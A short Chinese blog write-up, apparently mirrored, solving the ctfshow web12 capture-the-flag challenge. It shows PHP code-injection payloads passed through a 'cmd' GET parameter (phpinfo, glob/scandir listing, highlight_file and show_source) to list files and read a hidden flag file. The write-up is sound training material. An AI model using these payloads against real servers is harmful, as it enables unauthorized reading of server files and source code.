zoukankan      html  css  js  c++  java
  • CTF web之旅 31

    ctfshow web12

    提示cmd  cmd不就是command的缩写吗  传入命令看一下

    传入?cmd=phpinfo();一定要有分号

    有回显页面的 推测后台函数可能为代码执行eval($_GET['cmd']);或者是命令执行system($_GET['cmd']);

    ?cmd='ls';没有回显

    ?cmd=print_r(glob("*.*"));或者是?cmd=print_r(scandir("."));可以匹配当前目录的所有文件

    由此可以推出后台函数为eval()

    执行查看目录文件后得到如下页面

     highlight_file()或者show_source()函数可以查看目标文件

    这俩是一样的函数 只是名称不一样?cmd=hight_file('index.php');可以确认一下后台源码

    ?cmd=highlight_file('903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php');

    ?cmd=show_source('903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php');

  • 相关阅读:
    Linux运维相关命令
    Linux常用命令合集
    python爬虫
    Linux常见知识点
    mysql linux上安装使用
    非托管代码方面的问题
    有趣知识
    C# 模式匹配
    C# 泛型约束
    怎么查看自己电脑的IP地址?
  • 原文地址:https://www.cnblogs.com/akger/p/14685654.html
Copyright © 2011-2022 走看看